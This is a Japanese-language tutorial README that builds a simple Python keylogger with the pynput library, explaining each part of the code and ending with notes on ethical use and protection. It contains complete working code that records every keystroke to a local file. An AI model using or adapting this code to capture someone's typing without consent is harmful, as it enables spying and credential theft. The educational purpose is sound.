

キーロガーサイバーセキュリティプロジェクト

キーロガーサイバーセキュリティプロジェクト

はじめに

このプロジェクトでは、Pythonのpynputライブラリを使用して基本的なキーロガーを作成します。キーロガーはキーストロークをキャプチャし、keyfile.textという名前のファイルに記録します。このプロジェクトは、キーロガーの動作を理解し、そのような脅威から保護するためのサイバーセキュリティ対策の重要性を強調するための教育目的で行われます。

要件

- Python 3.x
- pynputライブラリ

インストール

pynputライブラリをインストールするには、次のコマンドを使用します：

```
pip install pynput
```

コードの説明

次のコードは、各キーストロークをファイルに記録するキーロガーを設定します：

```
from pynput import keyboard

def keyPressed(key):
    print(str(key))
    with open("keyfile.text", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Errors getting char")
```

```
if __name__=="__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
```

コードの詳細

- **ライブラリのインポート :**

```
from pynput import keyboard
```

- これは、キーボードイベントを監視および制御するためのpynputライブラリのkeyboardモジュールをインポートします。

- **keyPressed関数の定義 :**

```
def keyPressed(key):
    print(str(key))
    with open("keyfile.text", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Errors getting char")
```

- この関数はキーが押されたときに呼び出されます。キーをコンソールに表示し、keyfile.textにキーの文字表現を書き込もうとします。キーに文字表現がない場合（例：ShiftやCtrlなどの特殊キー）、例外をキャッチしてエラーメッセージを表示します。

- **リスナーの設定 :**

```
if __name__=="__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
```

- これはキーが押されたときにkeyPressed関数をトリガーするリスナーを設定します。リスナーはバックグラウンドで実行され、スクリプトはユーザー入力を待って実行を続けます。

使用方法

スクリプトを実行します :

```
python keylogger.py
```

スクリプトはkeyfile.textにキーストロークの記録を開始します。

セキュリティの考慮事項

- **倫理的な使用**：任意のデバイスでキーストロークを記録する許可を得ていることを確認してください。無許可のキーロギングは違法で非倫理的です。
- **検出と防止**：キーロガーの動作を理解し、システムを保護するための対策を講じます。アンチウイルスソフトウェアを使用し、システムを最新の状態に保つことでキーロガー感染を防ぎます。

結論

このプロジェクトは、Pythonを使用したキーロガーの基本的な機能を示しています。これは、サイバーセキュリティの重要性とキーロガーによって引き起こされる潜在的な脅威を理解するための学習ツールとして機能します。
